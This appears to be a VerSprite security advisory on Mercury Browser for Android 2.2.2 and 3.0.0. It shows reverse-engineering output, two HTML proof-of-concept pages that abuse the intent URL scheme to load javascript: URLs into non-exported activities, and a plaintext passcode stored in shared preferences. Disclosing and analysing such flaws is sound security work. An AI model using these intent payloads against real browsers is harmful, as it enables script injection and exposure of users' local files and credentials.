Multiple Vulnerabilities in Mercury Browser for Android Version 2.2.2 & 3.0.0
Insecure Intent URL Implementation
An insecure implementation of the intent URL scheme revolves around theIntent.parseUri() method, which allows you to create an intent from an URI. The first thing we did when reversing the Mercury Browser was search for that specific method within the target packages.
In [12]: show_Paths(d, x.tainted_packages.search_methods(".", "parseUri", ".")) 1 Lcom/ilegendsoft/mercury/ui/widget/webview/e;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x18a) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent; 1 Lcom/ilegendsoft/mercury/ui/widget/webview/e;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x1be) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent; 1 Lcom/ilegendsoft/mercury/ui/widget/webview/e;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x246) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;We can see the
parseUri()method being called from thecom.ilegendsoft.mercury.ui.widget.eclass. Now we want to see if the URL being loaded within the Main Activity of the browser somehow winds up as the second argument to theshouldOverrideUrlLoading()method. If we generate XREFS for the class we can see a call being made fromcom.legend.mercury.ui.activities.MainActivity, and to save you the headache of the going through the entire CFG, we did validate that this was indeed the case.In [11]: d.CLASS_Lcom_ilegendsoft_mercury_ui_widget_webview_e.show_xref() ########## XREF F: Lcom/ilegendsoft/mercury/ui/activities/MainActivity; a (Lcom/ilegendsoft/mercury/ui/widget/webview/CustomWebView;)V a ####################The browser checks whether or not the URL starts with the “intent://“ scheme, and jumps if true to passing the URL into the parseUri() call. This object is used to call the
startActivity()operation on theMainActivity.
Now that we know the browser supports an insecure implementation of the intent URL scheme, we can investigate Activities that would “benefit” from an intent object that we now control. VerSprite found two target Activities that could be used in either disclosing local files or creating an UXSS:
–com.ilegendsoft.social.common.SimpleWebViewActivity
–com.ilegendsoft.clouddrive.box.BoxAuthActivityThe
BoxAuthActivityis used for Box authorization within the Mercury Browser, and retrieves an intent object within itsonCreate()method. It takes the extra string “url_authorize” and passes that as an argument to the method which gracefully loads this string into a WebView vialoadUrl().
Exploitation of this requires us to load an HTML page which we can control into the Mercury browser. The JavaScript within the page will create a new intent URL scheme, which will send an intent object to the target component with some potentially malicious JavaScript.
<html> <body> <script> location.href="intent:#Intent;S.url_authorize=javascript:alert(1);SEL;component=com.ilegendsoft.mercury/com.ilegendsoft.clouddrive.box.BoxAuthActivity;end"; </script> </body> </html>The
SimpleWebViewActivityhas pretty much the same issue. It first callsgetIntent()to retrieve the intent object. Then uses the methodgetStringExtra()to assign and callloadUrl()on a WebView from a string with the key “load”. We can exploit this in the exact same way as before.
<html> <body> <script> location.href="intent:#Intent;S.load=javascript:alert(1);SEL;component=com.ilegendsoft.mercury/com.ilegendsoft.social.common.SimpleWebViewActivity;end"; </script> </body> </html>It is important to realize that both of these vulnerable Activities are not exported and are considered to be private components of the browser application, which makes this type of issue to have a bit more impact.
Passcode and OAuth Exposure
The Mercury Browser allows you to configure a passcode for the application, which you will have to submit each time you open it as a protection mechanism. The problem is the passcode is stored in the browser’s shared preferences unencrypted.
ZCloudConfig.xml application.xml com.ilegendsoft.mercury_preferences.xml lbsdata.xml mapplication.xml menu_add_function.xml menus.xml mercury_flurry_log_event.xml merucry_application_theme.xml navigation_v_2.xml passcode.xml readinglist_shredpreference.xml search_engine_v_2.xml speed_dial_v_2.xml speeddial.xml zcloud_db.xml ode.xml < <?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map> <string name="passcode">1111</string> </map>The OAuth tokens used for your Box account will also be stored unencrypted within SharePreferences inside
box_auth_info.xml.Conclusion
The previous version of Mercury Browser for Android (2.2.2) has been verified to have all the above vulnerabilities. Mercury Browser for Android (3.0.0) has only been verified of the insecure intent URL implementation vulnerability and it is assumed that the passcode log is still being stored unencrypted for now. VerSprite has validated that the version of the Mercury Browser for Android (2.2.3) is not vulnerable to the insecure intent URL implementation vulnerability, however has not tested and validated the unencrypted storage of the sensitive information above. It is recommended that all users running this browser on their Android devices not update to the latest version (3.0.0) on the Google Play Store.
Protect Your Assets from Various Threat Actors
VerSprite’s Research and Development division (a.k.a VS-Labs) is comprised of individuals who are passionate about diving into the internals of various technologies.
Our clients rely on VerSprite’s unique offerings of zero-day vulnerability research and exploit development to protect their assets from various threat actors.
From advanced technical security training to our research for hire B.O.S.S offering, we help organizations solve their most complex technical challenges. Learn more about Research as a Service →
View our security advisories detailing vulnerabilities found in major products for MacOs, Windows, Android, and iOS.
Share
